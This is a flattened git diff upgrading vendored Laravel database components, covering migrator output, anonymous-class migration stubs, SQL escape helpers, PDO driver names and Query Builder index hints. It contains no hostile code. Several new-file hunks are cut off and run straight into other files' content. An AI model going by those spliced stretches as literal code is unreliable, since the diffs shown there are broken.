a/vendor/illuminate/database/Events/TransactionCommitting.php b/vendor/illuminate/database/Events/TransactionCommitting.php new file mode 100644 index 000000000..9b8179d32 --- /dev/null +++ b/vendor/illuminate/database/Events/TransactionCommitting.php @@ -0,0 +1,8 @@ +wrapAliasedValue($value, $prefixAlias); } + // If the given value is a JSON selector we will wrap it differently than a + // traditional value. We will need to split this path and wrap each part + // wrapped, etc. Otherwise, we will simply wrap the value as a string. + if ($this->isJsonSelector($value)) { + return $this->wrapJsonSelector($value); + } + return $this->wrapSegments(explode('.', $value)); } @@ -116,6 +131,30 @@ protected function wrapValue($value) return $value; } + /** + * Wrap the given JSON selector. + * + * @param string $value + * @return string + * + * @throws \RuntimeException + */ + protected function wrapJsonSelector($value) + { + throw new RuntimeException('This database engine does not support JSON operations.'); + } + + /** + * Determine if the given string is a JSON selector. + * + * @param string $value + * @return bool + */ + protected function isJsonSelector($value) + { + return str_contains($value, '->'); + } + /** * Convert an array of column names into a delimited string. * @@ -164,6 +203,22 @@ public function quoteString($value) return "'$value'"; } + /** + * Escapes a value for safe SQL embedding. + * + * @param string|float|int|bool|null $value + * @param bool $binary + * @return string + */ + public function escape($value, $binary = false) + { + if (is_null($this->connection)) { + throw new RuntimeException("The database driver's grammar implementation does not support escaping values."); + } + + return $this->connection->escape($value, $binary); + } + /** * Determine if the given value is a raw expression. * @@ -176,14 +231,18 @@ public function isExpression($value) } /** - * Get the value of a raw expression. + * Transforms expressions to their scalar types. * - * @param \Illuminate\Database\Query\Expression $expression - * @return mixed + * @param \Illuminate\Contracts\Database\Query\Expression|string|int|float $expression + * @return string|int|float */ public function getValue($expression) { - return $expression->getValue(); + if ($this->isExpression($expression)) { + return $this->getValue($expression->getValue($this)); + } + + return $expression; } /** @@ -218,4 +277,17 @@ public function setTablePrefix($prefix) return $this; } + + /** + * Set the grammar's database connection. + * + * @param \Illuminate\Database\Connection $connection + * @return $this + */ + public function setConnection($connection) + { + $this->connection = $connection; + + return $this; + } } diff --git a/vendor/illuminate/database/LostConnectionException.php b/vendor/illuminate/database/LostConnectionException.php new file mode 100644 index 000000000..c8e57e368 --- /dev/null +++ b/vendor/illuminate/database/LostConnectionException.php @@ -0,0 +1,10 @@ + 'command.migrate', - 'MigrateFresh' => 'command.migrate.fresh', - 'MigrateInstall' => 'command.migrate.install', - 'MigrateRefresh' => 'command.migrate.refresh', - 'MigrateReset' => 'command.migrate.reset', - 'MigrateRollback' => 'command.migrate.rollback', - 'MigrateStatus' => 'command.migrate.status', - 'MigrateMake' => 'command.migrate.make', + 'Migrate' => MigrateCommand::class, + 'MigrateFresh' => FreshCommand::class, + 'MigrateInstall' => InstallCommand::class, + 'MigrateRefresh' => RefreshCommand::class, + 'MigrateReset' => ResetCommand::class, + 'MigrateRollback' => RollbackCommand::class, + 'MigrateStatus' => StatusCommand::class, + 'MigrateMake' => MigrateMakeCommand::class, ]; /** @@ -116,7 +116,7 @@ protected function registerCommands(array $commands) */ protected function registerMigrateCommand() { - $this->app->singleton('command.migrate', function ($app) { + $this->app->singleton(MigrateCommand::class, function ($app) { return new MigrateCommand($app['migrator'], $app[Dispatcher::class]); }); } @@ -128,9 +128,7 @@ protected function registerMigrateCommand() */ protected function registerMigrateFreshCommand() { - $this->app->singleton('command.migrate.fresh', function () { - return new FreshCommand; - }); + $this->app->singleton(FreshCommand::class); } /** @@ -140,7 +138,7 @@ protected function registerMigrateFreshCommand() */ protected function registerMigrateInstallCommand() { - $this->app->singleton('command.migrate.install', function ($app) { + $this->app->singleton(InstallCommand::class, function ($app) { return new InstallCommand($app['migration.repository']); }); } @@ -152,7 +150,7 @@ protected function registerMigrateInstallCommand() */ protected function registerMigrateMakeCommand() { - $this->app->singleton('command.migrate.make', function ($app) { + $this->app->singleton(MigrateMakeCommand::class, function ($app) { // Once we have the migration creator registered, we will create the command // and inject the creator. The creator is responsible for the actual file // creation of the migrations, and may be extended by these developers. @@ -171,9 +169,7 @@ protected function registerMigrateMakeCommand() */ protected function registerMigrateRefreshCommand() { - $this->app->singleton('command.migrate.refresh', function () { - return new RefreshCommand; - }); + $this->app->singleton(RefreshCommand::class); } /** @@ -183,7 +179,7 @@ protected function registerMigrateRefreshCommand() */ protected function registerMigrateResetCommand() { - $this->app->singleton('command.migrate.reset', function ($app) { + $this->app->singleton(ResetCommand::class, function ($app) { return new ResetCommand($app['migrator']); }); } @@ -195,7 +191,7 @@ protected function registerMigrateResetCommand() */ protected function registerMigrateRollbackCommand() { - $this->app->singleton('command.migrate.rollback', function ($app) { + $this->app->singleton(RollbackCommand::class, function ($app) { return new RollbackCommand($app['migrator']); }); } @@ -207,7 +203,7 @@ protected function registerMigrateRollbackCommand() */ protected function registerMigrateStatusCommand() { - $this->app->singleton('command.migrate.status', function ($app) { + $this->app->singleton(StatusCommand::class, function ($app) { return new StatusCommand($app['migrator']); }); } diff --git a/vendor/illuminate/database/Migrations/DatabaseMigrationRepository.php b/vendor/illuminate/database/Migrations/DatabaseMigrationRepository.php index ed42756b1..bd8ee4963 100644 --- a/vendor/illuminate/database/Migrations/DatabaseMigrationRepository.php +++ b/vendor/illuminate/database/Migrations/DatabaseMigrationRepository.php @@ -54,7 +54,7 @@ public function getRan() } /** - * Get list of migrations. + * Get the list of migrations. * * @param int $steps * @return array @@ -68,6 +68,21 @@ public function getMigrations($steps) ->take($steps)->get()->all(); } + /** + * Get the list of the migrations by batch number. + * + * @param int $batchNumber + * @return array + */ + public function getMigrationsByBatch($batch) + { + return $this->table() + ->where('batch', $batch) + ->orderBy('migration', 'desc') + ->get() + ->all(); + } + /** * Get the last migration batch. * diff --git a/vendor/illuminate/database/Migrations/MigrationCreator.php b/vendor/illuminate/database/Migrations/MigrationCreator.php index a79039a7a..d8f1ce9d0 100644 --- a/vendor/illuminate/database/Migrations/MigrationCreator.php +++ b/vendor/illuminate/database/Migrations/MigrationCreator.php @@ -68,13 +68,13 @@ public function create($name, $path, $table = null, $create = false) $this->files->ensureDirectoryExists(dirname($path)); $this->files->put( - $path, $this->populateStub($name, $stub, $table) + $path, $this->populateStub($stub, $table) ); // Next, we will fire any hooks that are supposed to fire after a migration is // created. Once that is done we'll be ready to return the full path to the // migration file so it can be used however it's needed by the developer. - $this->firePostCreateHooks($table); + $this->firePostCreateHooks($table, $path); return $path; } @@ -132,18 +132,12 @@ protected function getStub($table, $create) /** * Populate the place-holders in the migration stub. * - * @param string $name * @param string $stub * @param string|null $table * @return string */ - protected function populateStub($name, $stub, $table) + protected function populateStub($stub, $table) { - $stub = str_replace( - ['DummyClass', '{{ class }}', '{{class}}'], - $this->getClassName($name), $stub - ); - // Here we will replace the table place-holders with the table specified by // the developer, which is useful for quickly creating a tables creation // or update migration from the console instead of typing it manually. @@ -184,12 +178,13 @@ protected function getPath($name, $path) * Fire the registered post create hooks. * * @param string|null $table + * @param string $path * @return void */ - protected function firePostCreateHooks($table) + protected function firePostCreateHooks($table, $path) { foreach ($this->postCreate as $callback) { - $callback($table); + $callback($table, $path); } } diff --git a/vendor/illuminate/database/Migrations/MigrationRepositoryInterface.php b/vendor/illuminate/database/Migrations/MigrationRepositoryInterface.php index 840a5e1df..a3ba96571 100644 --- a/vendor/illuminate/database/Migrations/MigrationRepositoryInterface.php +++ b/vendor/illuminate/database/Migrations/MigrationRepositoryInterface.php @@ -19,6 +19,14 @@ public function getRan(); */ public function getMigrations($steps); + /** + * Get the list of the migrations by batch. + * + * @param int $batch + * @return array + */ + public function getMigrationsByBatch($batch); + /** * Get the last migration batch. * diff --git a/vendor/illuminate/database/Migrations/Migrator.php b/vendor/illuminate/database/Migrations/Migrator.php index c043e6cd7..4f6ec5247 100644 --- a/vendor/illuminate/database/Migrations/Migrator.php +++ b/vendor/illuminate/database/Migrations/Migrator.php @@ -3,6 +3,11 @@ namespace Illuminate\Database\Migrations; use Doctrine\DBAL\Schema\SchemaException; +use Illuminate\Console\View\Components\BulletList; +use Illuminate\Console\View\Components\Error; +use Illuminate\Console\View\Components\Info; +use Illuminate\Console\View\Components\Task; +use Illuminate\Console\View\Components\TwoColumnDetail; use Illuminate\Contracts\Events\Dispatcher; use Illuminate\Database\ConnectionResolverInterface as Resolver; use Illuminate\Database\Events\MigrationEnded; @@ -61,6 +66,13 @@ class Migrator */ protected $paths = []; + /** + * The paths that have already been required. + * + * @var array + */ + protected static $requiredPathCache = []; + /** * The output interface implementation. * @@ -144,7 +156,7 @@ public function runPending(array $migrations, array $options = []) if (count($migrations) === 0) { $this->fireMigrationEvent(new NoPendingMigrations('up')); - $this->note('Nothing to migrate.'); + $this->write(Info::class, 'Nothing to migrate'); return; } @@ -160,6 +172,8 @@ public function runPending(array $migrations, array $options = []) $this->fireMigrationEvent(new MigrationsStarted('up')); + $this->write(Info::class, 'Running migrations.'); + // Once we have the array of migrations, we will spin through them and run the // migrations "up" so the changes are made to the databases. We'll then log // that the migration was run so we don't repeat it next time we execute. @@ -172,6 +186,10 @@ public function runPending(array $migrations, array $options = []) } $this->fireMigrationEvent(new MigrationsEnded('up')); + + if ($this->output) { + $this->output->writeln(''); + } } /** @@ -195,20 +213,12 @@ protected function runUp($file, $batch, $pretend) return $this->pretendToRun($migration, 'up'); } - $this->note("Migrating: {$name}"); - - $startTime = microtime(true); - - $this->runMigration($migration, 'up'); - - $runTime = number_format((microtime(true) - $startTime) * 1000, 2); + $this->write(Task::class, $name, fn () => $this->runMigration($migration, 'up')); // Once we have run a migrations class, we will log that it was run in this // repository so that we don't try to run it next time we do a migration // in the application. A migration repository keeps the migrate order. $this->repository->log($name, $batch); - - $this->note("Migrated: {$name} ({$runTime}ms)"); } /** @@ -228,12 +238,16 @@ public function rollback($paths = [], array $options = []) if (count($migrations) === 0) { $this->fireMigrationEvent(new NoPendingMigrations('down')); - $this->note('Nothing to rollback.'); + $this->write(Info::class, 'Nothing to rollback.'); return []; } - return $this->rollbackMigrations($migrations, $paths, $options); + return tap($this->rollbackMigrations($migrations, $paths, $options), function () { + if ($this->output) { + $this->output->writeln(''); + } + }); } /** @@ -248,6 +262,10 @@ protected function getMigrationsForRollback(array $options) return $this->repository->getMigrations($steps); } + if (($batch = $options['batch'] ?? 0) > 0) { + return $this->repository->getMigrationsByBatch($batch); + } + return $this->repository->getLast(); } @@ -267,6 +285,8 @@ protected function rollbackMigrations(array $migrations, $paths, array $options) $this->fireMigrationEvent(new MigrationsStarted('down')); + $this->write(Info::class, 'Rolling back migrations.'); + // Next we will run through all of the migrations and call the "down" method // which will reverse each migration in order. This getLast method on the // repository already returns these migration's names in reverse order. @@ -274,7 +294,7 @@ protected function rollbackMigrations(array $migrations, $paths, array $options) $migration = (object) $migration; if (! $file = Arr::get($files, $migration->migration)) { - $this->note("Migration not found: {$migration->migration}"); + $this->write(TwoColumnDetail::class, $migration->migration, 'Migration not found'); continue; } @@ -307,12 +327,16 @@ public function reset($paths = [], $pretend = false) $migrations = array_reverse($this->repository->getRan()); if (count($migrations) === 0) { - $this->note('Nothing to rollback.'); + $this->write(Info::class, 'Nothing to rollback.'); return []; } - return $this->resetMigrations($migrations, $paths, $pretend); + return tap($this->resetMigrations($migrations, Arr::wrap($paths), $pretend), function () { + if ($this->output) { + $this->output->writeln(''); + } + }); } /** @@ -354,24 +378,16 @@ protected function runDown($file, $migration, $pretend) $name = $this->getMigrationName($file); - $this->note("Rolling back: {$name}"); - if ($pretend) { return $this->pretendToRun($instance, 'down'); } - $startTime = microtime(true); - - $this->runMigration($instance, 'down'); - - $runTime = number_format((microtime(true) - $startTime) * 1000, 2); + $this->write(Task::class, $name, fn () => $this->runMigration($instance, 'down')); // Once we have successfully run the migration "down" we will remove it from // the migration repository so it will be considered to have not been run // by the application then will be able to fire by any later operation. $this->repository->delete($migration); - - $this->note("Rolled back: {$name} ({$runTime}ms)"); } /** @@ -413,21 +429,26 @@ protected function runMigration($migration, $method) protected function pretendToRun($migration, $method) { try { - foreach ($this->getQueries($migration, $method) as $query) { - $name = get_class($migration); - - $reflectionClass = new ReflectionClass($migration); + $name = get_class($migration); - if ($reflectionClass->isAnonymous()) { - $name = $this->getMigrationName($reflectionClass->getFileName()); - } + $reflectionClass = new ReflectionClass($migration); - $this->note("{$name}: {$query['query']}"); + if ($reflectionClass->isAnonymous()) { + $name = $this->getMigrationName($reflectionClass->getFileName()); } - } catch (SchemaException $e) { + + $this->write(TwoColumnDetail::class, $name); + + $this->write(BulletList::class, collect($this->getQueries($migration, $method))->map(function ($query) { + return $query['query']; + })); + } catch (SchemaException) { $name = get_class($migration); - $this->note("{$name}: failed to dump queries. This may be due to changing database columns using Doctrine, which is not supported while pretending to run migrations."); + $this->write(Error::class, sprintf( + '[%s] failed to dump queries. This may be due to changing database columns using Doctrine, which is not supported while pretending to run migrations.', + $name, + )); } } @@ -502,9 +523,15 @@ protected function resolvePath(string $path) return new $class; } - $migration = $this->files->getRequire($path); + $migration = static::$requiredPathCache[$path] ??= $this->files->getRequire($path); + + if (is_object($migration)) { + return method_exists($migration, '__construct') + ? $this->files->getRequire($path) + : clone $migration; + } - return is_object($migration) ? $migration : new $class; + return new $class; } /** @@ -527,7 +554,7 @@ protected function getMigrationClass(string $migrationName): string public function getMigrationFiles($paths) { return Collection::make($paths)->flatMap(function ($path) { - return Str::endsWith($path, '.php') ? [$path] : $this->files->glob($path.'/*_*.php'); + return str_ends_with($path, '.php') ? [$path] : $this->files->glob($path.'/*_*.php'); })->filter()->values()->keyBy(function ($file) { return $this->getMigrationName($file); })->sortBy(function ($file, $key) { @@ -690,7 +717,7 @@ public function hasRunAnyMigrations() */ public function deleteRepository() { - return $this->repository->deleteRepository(); + $this->repository->deleteRepository(); } /** @@ -717,15 +744,22 @@ public function setOutput(OutputInterface $output) } /** - * Write a note to the console's output. + * Write to the console's output. * - * @param string $message + * @param string $component + * @param array|string ...$arguments * @return void */ - protected function note($message) + protected function write($component, ...$arguments) { - if ($this->output) { - $this->output->writeln($message); + if ($this->output && class_exists($component)) { + (new $component($this->output))->render(...$arguments); + } else { + foreach ($arguments as $argument) { + if (is_callable($argument)) { + $argument(); + } + } } } diff --git a/vendor/illuminate/database/Migrations/stubs/migration.create.stub b/vendor/illuminate/database/Migrations/stubs/migration.create.stub index f4a56a077..168c62223 100644 --- a/vendor/illuminate/database/Migrations/stubs/migration.create.stub +++ b/vendor/illuminate/database/Migrations/stubs/migration.create.stub @@ -4,14 +4,12 @@ use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; -class {{ class }} extends Migration +return new class extends Migration { /** * Run the migrations. - * - * @return void */ - public function up() + public function up(): void { Schema::create('{{ table }}', function (Blueprint $table) { $table->id(); @@ -21,11 +19,9 @@ class {{ class }} extends Migration /** * Reverse the migrations. - * - * @return void */ - public function down() + public function down(): void { Schema::dropIfExists('{{ table }}'); } -} +}; diff --git a/vendor/illuminate/database/Migrations/stubs/migration.stub b/vendor/illuminate/database/Migrations/stubs/migration.stub index fd0e43785..88fa2f36b 100644 --- a/vendor/illuminate/database/Migrations/stubs/migration.stub +++ b/vendor/illuminate/database/Migrations/stubs/migration.stub @@ -4,25 +4,21 @@ use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; -class {{ class }} extends Migration +return new class extends Migration { /** * Run the migrations. - * - * @return void */ - public function up() + public function up(): void { // } /** * Reverse the migrations. - * - * @return void */ - public function down() + public function down(): void { // } -} +}; diff --git a/vendor/illuminate/database/Migrations/stubs/migration.update.stub b/vendor/illuminate/database/Migrations/stubs/migration.update.stub index f1a04ebe5..c9ff2c4b7 100644 --- a/vendor/illuminate/database/Migrations/stubs/migration.update.stub +++ b/vendor/illuminate/database/Migrations/stubs/migration.update.stub @@ -4,14 +4,12 @@ use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; -class {{ class }} extends Migration +return new class extends Migration { /** * Run the migrations. - * - * @return void */ - public function up() + public function up(): void { Schema::table('{{ table }}', function (Blueprint $table) { // @@ -20,13 +18,11 @@ class {{ class }} extends Migration /** * Reverse the migrations. - * - * @return void */ - public function down() + public function down(): void { Schema::table('{{ table }}', function (Blueprint $table) { // }); } -} +}; diff --git a/vendor/illuminate/database/MultipleColumnsSelectedException.php b/vendor/illuminate/database/MultipleColumnsSelectedException.php new file mode 100644 index 000000000..07c86fdf4 --- /dev/null +++ b/vendor/illuminate/database/MultipleColumnsSelectedException.php @@ -0,0 +1,10 @@ +count = $count; + + parent::__construct("$count records were found.", $code, $previous); + } + + /** + * Get the number of records found. + * + * @return int + */ + public function getCount() + { + return $this->count; + } } diff --git a/vendor/illuminate/database/MySqlConnection.php b/vendor/illuminate/database/MySqlConnection.php index 9760358cf..460a4fd37 100644 --- a/vendor/illuminate/database/MySqlConnection.php +++ b/vendor/illuminate/database/MySqlConnection.php @@ -2,8 +2,7 @@ namespace Illuminate\Database; -use Doctrine\DBAL\Driver\PDOMySql\Driver as DoctrineDriver; -use Doctrine\DBAL\Version; +use Exception; use Illuminate\Database\PDO\MySqlDriver; use Illuminate\Database\Query\Grammars\MySqlGrammar as QueryGrammar; use Illuminate\Database\Query\Processors\MySqlProcessor; @@ -15,6 +14,30 @@ class MySqlConnection extends Connection { + /** + * Escape a binary value for safe SQL embedding. + * + * @param string $value + * @return string + */ + protected function escapeBinary($value) + { + $hex = bin2hex($value); + + return "x'{$hex}'"; + } + + /** + * Determine if the given database exception was caused by a unique constraint violation. + * + * @param \Exception $exception + * @return bool + */ + protected function isUniqueConstraintError(Exception $exception) + { + return boolval(preg_match('#Integrity constraint violation: 1062#i', $exception->getMessage())); + } + /** * Determine if the connected database is a MariaDB database. * @@ -22,7 +45,7 @@ class MySqlConnection extends Connection */ public function isMaria() { - return strpos($this->getPdo()->getAttribute(PDO::ATTR_SERVER_VERSION), 'MariaDB') !== false; + return str_contains($this->getPdo()->getAttribute(PDO::ATTR_SERVER_VERSION), 'MariaDB'); } /** @@ -32,7 +55,9 @@ public function isMaria() */ protected function getDefaultQueryGrammar() { - return $this->withTablePrefix(new QueryGrammar); + ($grammar = new QueryGrammar)->setConnection($this); + + return $this->withTablePrefix($grammar); } /** @@ -56,7 +81,9 @@ public function getSchemaBuilder() */ protected function getDefaultSchemaGrammar() { - return $this->withTablePrefix(new SchemaGrammar); + ($grammar = new SchemaGrammar)->setConnection($this); + + return $this->withTablePrefix($grammar); } /** @@ -84,10 +111,10 @@ protected function getDefaultPostProcessor() /** * Get the Doctrine DBAL driver. * - * @return \Doctrine\DBAL\Driver\PDOMySql\Driver|\Illuminate\Database\PDO\MySqlDriver + * @return \Illuminate\Database\PDO\MySqlDriver */ protected function getDoctrineDriver() { - return class_exists(Version::class) ? new DoctrineDriver : new MySqlDriver; + return new MySqlDriver; } } diff --git a/vendor/illuminate/database/PDO/Concerns/ConnectsToDatabase.php b/vendor/illuminate/database/PDO/Concerns/ConnectsToDatabase.php index 84c333801..d2a8d6006 100644 --- a/vendor/illuminate/database/PDO/Concerns/ConnectsToDatabase.php +++ b/vendor/illuminate/database/PDO/Concerns/ConnectsToDatabase.php @@ -11,12 +11,15 @@ trait ConnectsToDatabase /** * Create a new database connection. * - * @param array $params + * @param mixed[] $params + * @param string|null $username + * @param string|null $password + * @param mixed[] $driverOptions * @return \Illuminate\Database\PDO\Connection * * @throws \InvalidArgumentException */ - public function connect(array $params) + public function connect(array $params, $username = null, $password = null, array $driverOptions = []) { if (! isset($params['pdo']) || ! $params['pdo'] instanceof PDO) { throw new InvalidArgumentException('Laravel requires the "pdo" property to be set and be a PDO instance.'); diff --git a/vendor/illuminate/database/PDO/Connection.php b/vendor/illuminate/database/PDO/Connection.php index 7bae4cc04..427bda2cc 100644 --- a/vendor/illuminate/database/PDO/Connection.php +++ b/vendor/illuminate/database/PDO/Connection.php @@ -57,6 +57,8 @@ public function exec(string $statement): int * * @param string $sql * @return \Doctrine\DBAL\Driver\Statement + * + * @throws \Doctrine\DBAL\Driver\PDO\Exception */ public function prepare(string $sql): StatementInterface { @@ -93,6 +95,8 @@ public function query(string $sql): ResultInterface * * @param string|null $name * @return mixed + * + * @throws \Doctrine\DBAL\Driver\PDO\Exception */ public function lastInsertId($name = null) { @@ -121,7 +125,7 @@ protected function createStatement(PDOStatement $stmt): Statement /** * Begin a new database transaction. * - * @return void + * @return bool */ public function beginTransaction() { @@ -131,7 +135,7 @@ public function beginTransaction() /** * Commit a database transaction. * - * @return void + * @return bool */ public function commit() { @@ -141,7 +145,7 @@ public function commit() /** * Rollback a database transaction. * - * @return void + * @return bool */ public function rollBack() { diff --git a/vendor/illuminate/database/PDO/MySqlDriver.php b/vendor/illuminate/database/PDO/MySqlDriver.php index 5f68c6fab..54ac37536 100644 --- a/vendor/illuminate/database/PDO/MySqlDriver.php +++ b/vendor/illuminate/database/PDO/MySqlDriver.php @@ -8,4 +8,12 @@ class MySqlDriver extends AbstractMySQLDriver { use ConnectsToDatabase; + + /** + * {@inheritdoc} + */ + public function getName() + { + return 'pdo_mysql'; + } } diff --git a/vendor/illuminate/database/PDO/PostgresDriver.php b/vendor/illuminate/database/PDO/PostgresDriver.php index eb29c969d..0d9561107 100644 --- a/vendor/illuminate/database/PDO/PostgresDriver.php +++ b/vendor/illuminate/database/PDO/PostgresDriver.php @@ -8,4 +8,12 @@ class PostgresDriver extends AbstractPostgreSQLDriver { use ConnectsToDatabase; + + /** + * {@inheritdoc} + */ + public function getName() + { + return 'pdo_pgsql'; + } } diff --git a/vendor/illuminate/database/PDO/SQLiteDriver.php b/vendor/illuminate/database/PDO/SQLiteDriver.php index 2dac06db8..f50da08e7 100644 --- a/vendor/illuminate/database/PDO/SQLiteDriver.php +++ b/vendor/illuminate/database/PDO/SQLiteDriver.php @@ -8,4 +8,12 @@ class SQLiteDriver extends AbstractSQLiteDriver { use ConnectsToDatabase; + + /** + * {@inheritdoc} + */ + public function getName() + { + return 'pdo_sqlite'; + } } diff --git a/vendor/illuminate/database/PDO/SqlServerConnection.php b/vendor/illuminate/database/PDO/SqlServerConnection.php index bbbb8b0b6..d32d3c3e0 100644 --- a/vendor/illuminate/database/PDO/SqlServerConnection.php +++ b/vendor/illuminate/database/PDO/SqlServerConnection.php @@ -84,7 +84,7 @@ public function lastInsertId($name = null) /** * Begin a new database transaction. * - * @return void + * @return bool */ public function beginTransaction() { @@ -94,7 +94,7 @@ public function beginTransaction() /** * Commit a database transaction. * - * @return void + * @return bool */ public function commit() { @@ -104,7 +104,7 @@ public function commit() /** * Rollback a database transaction. * - * @return void + * @return bool */ public function rollBack() { @@ -123,7 +123,7 @@ public function quote($value, $type = ParameterType::STRING) $val = $this->connection->quote($value, $type); // Fix for a driver version terminating all values with null byte... - if (\is_string($val) && \strpos($val, "\0") !== false) { + if (\is_string($val) && str_contains($val, "\0")) { $val = \substr($val, 0, -1); } diff --git a/vendor/illuminate/database/PDO/SqlServerDriver.php b/vendor/illuminate/database/PDO/SqlServerDriver.php index 1373fc49f..1b0d9574e 100644 --- a/vendor/illuminate/database/PDO/SqlServerDriver.php +++ b/vendor/illuminate/database/PDO/SqlServerDriver.php @@ -7,12 +7,26 @@ class SqlServerDriver extends AbstractSQLServerDriver { /** - * @return \Doctrine\DBAL\Driver\Connection + * Create a new database connection. + * + * @param mixed[] $params + * @param string|null $username + * @param string|null $password + * @param mixed[] $driverOptions + * @return \Illuminate\Database\PDO\SqlServerConnection */ - public function connect(array $params) + public function connect(array $params, $username = null, $password = null, array $driverOptions = []) { return new SqlServerConnection( new Connection($params['pdo']) ); } + + /** + * {@inheritdoc} + */ + public function getName() + { + return 'pdo_sqlsrv'; + } } diff --git a/vendor/illuminate/database/PostgresConnection.php b/vendor/illuminate/database/PostgresConnection.php index 5d68d1d66..c3e22a928 100644 --- a/vendor/illuminate/database/PostgresConnection.php +++ b/vendor/illuminate/database/PostgresConnection.php @@ -2,8 +2,7 @@ namespace Illuminate\Database; -use Doctrine\DBAL\Driver\PDOPgSql\Driver as DoctrineDriver; -use Doctrine\DBAL\Version; +use Exception; use Illuminate\Database\PDO\PostgresDriver; use Illuminate\Database\Query\Grammars\PostgresGrammar as QueryGrammar; use Illuminate\Database\Query\Processors\PostgresProcessor; @@ -11,34 +10,42 @@ use Illuminate\Database\Schema\PostgresBuilder; use Illuminate\Database\Schema\PostgresSchemaState; use Illuminate\Filesystem\Filesystem; -use PDO; class PostgresConnection extends Connection { /** - * Bind values to their parameters in the given statement. + * Escape a binary value for safe SQL embedding. * - * @param \PDOStatement $statement - * @param array $bindings - * @return void + * @param string $value + * @return string */ - public function bindValues($statement, $bindings) + protected function escapeBinary($value) { - foreach ($bindings as $key => $value) { - if (is_int($value)) { - $pdoParam = PDO::PARAM_INT; - } elseif (is_resource($value)) { - $pdoParam = PDO::PARAM_LOB; - } else { - $pdoParam = PDO::PARAM_STR; - } + $hex = bin2hex($value); - $statement->bindValue( - is_string($key) ? $key : $key + 1, - $value, - $pdoParam - ); - } + return "'\x{$hex}'::bytea"; + } + + /** + * Escape a bool value for safe SQL embedding. + * + * @param bool $value + * @return string + */ + protected function escapeBool($value) + { + return $value ? 'true' : 'false'; + } + + /** + * Determine if the given database exception was caused by a unique constraint violation. + * + * @param \Exception $exception + * @return bool + */ + protected function isUniqueConstraintError(Exception $exception) + { + return '23505' === $exception->getCode(); } /** @@ -48,7 +55,9 @@ public function bindValues($statement, $bindings) */ protected function getDefaultQueryGrammar() { - return $this->withTablePrefix(new QueryGrammar); + ($grammar = new QueryGrammar)->setConnection($this); + + return $this->withTablePrefix($grammar); } /** @@ -72,7 +81,9 @@ public function getSchemaBuilder() */ protected function getDefaultSchemaGrammar() { - return $this->withTablePrefix(new SchemaGrammar); + ($grammar = new SchemaGrammar)->setConnection($this); + + return $this->withTablePrefix($grammar); } /** @@ -100,10 +111,10 @@ protected function getDefaultPostProcessor() /** * Get the Doctrine DBAL driver. * - * @return \Doctrine\DBAL\Driver\PDOPgSql\Driver|\Illuminate\Database\PDO\PostgresDriver + * @return \Illuminate\Database\PDO\PostgresDriver */ protected function getDoctrineDriver() { - return class_exists(Version::class) ? new DoctrineDriver : new PostgresDriver; + return new PostgresDriver; } } diff --git a/vendor/illuminate/database/Query/Builder.php b/vendor/illuminate/database/Query/Builder.php index 40bd0b958..b9bacd696 100644 --- a/vendor/illuminate/database/Query/Builder.php +++ b/vendor/illuminate/database/Query/Builder.php @@ -3,8 +3,12 @@ namespace Illuminate\Database\Query; use BackedEnum; +use Carbon\CarbonPeriod; use Closure; use DateTimeInterface; +use Illuminate\Contracts\Database\Query\Builder as BuilderContract; +use Illuminate\Contracts\Database\Query\ConditionExpression; +use Illuminate\Contracts\Database\Query\Expression as ExpressionContract; use Illuminate\Contracts\Support\Arrayable; use Illuminate\Database\Concerns\BuildsQueries; use Illuminate\Database\Concerns\ExplainsQueries; @@ -24,7 +28,7 @@ use LogicException; use RuntimeException; -class Builder +class Builder implements BuilderContract { use BuildsQueries, ExplainsQueries, ForwardsCalls, Macroable { __call as macroCall; @@ -78,7 +82,7 @@ class Builder /** * The columns that should be returned. * - * @var array + * @var array|null */ public $columns; @@ -94,10 +98,17 @@ class Builder /** * The table which the query is targeting. * - * @var string + * @var \Illuminate\Database\Query\Expression|string */ public $from; + /** + * The index hint for the query. + * + * @var \Illuminate\Database\Query\IndexHint + */ + public $indexHint; + /** * The table joins for the query. * @@ -197,7 +208,7 @@ class Builder public $operators = [ '=', '<', '>', '<=', '>=', '<>', '!=', '<=>', 'like', 'like binary', 'not like', 'ilike', - '&', '|', '^', '<<', '>>', '&~', + '&', '|', '^', '<<', '>>', '&~', 'is', 'is not', 'rlike', 'not rlike', 'regexp', 'not regexp', '~', '~*', '!~', '!~*', 'similar to', 'not similar to', 'not ilike', '~~*', '!~~*', @@ -246,6 +257,7 @@ public function select($columns = ['*']) { $this->columns = []; $this->bindings['select'] = []; + $columns = is_array($columns) ? $columns : func_get_args(); foreach ($columns as $as => $column) { @@ -298,7 +310,7 @@ public function selectRaw($expression, array $bindings = []) /** * Makes "from" fetch from a subquery. * - * @param \Closure|\Illuminate\Database\Query\Builder|string $query + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder|string $query * @param string $as * @return $this * @@ -330,7 +342,7 @@ public function fromRaw($expression, $bindings = []) /** * Creates a subquery and parse it. * - * @param \Closure|\Illuminate\Database\Query\Builder|string $query + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder|string $query * @return array */ protected function createSub($query) @@ -382,7 +394,7 @@ protected function prependDatabaseNameIfCrossDatabaseQuery($query) $this->getConnection()->getDatabaseName()) { $databaseName = $query->getConnection()->getDatabaseName(); - if (strpos($query->from, $databaseName) !== 0 && strpos($query->from, '.') === false) { + if (! str_starts_with($query->from, $databaseName) && ! str_contains($query->from, '.')) { $query->from($databaseName.'.'.$query->from); } } @@ -408,6 +420,10 @@ public function addSelect($column) $this->selectSub($column, $as); } else { + if (is_array($this->columns) && in_array($column, $this->columns, true)) { + continue; + } + $this->columns[] = $column; } } @@ -418,7 +434,6 @@ public function addSelect($column) /** * Force the query to only return distinct results. * - * @param mixed ...$distinct * @return $this */ public function distinct() @@ -437,7 +452,7 @@ public function distinct() /** * Set the table which the query is targeting. * - * @param \Closure|\Illuminate\Database\Query\Builder|string $table + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder|string $table * @param string|null $as * @return $this */ @@ -452,13 +467,52 @@ public function from($table, $as = null) return $this; } + /** + * Add an index hint to suggest a query index. + * + * @param string $index + * @return $this + */ + public function useIndex($index) + { + $this->indexHint = new IndexHint('hint', $index); + + return $this; + } + + /** + * Add an index hint to force a query 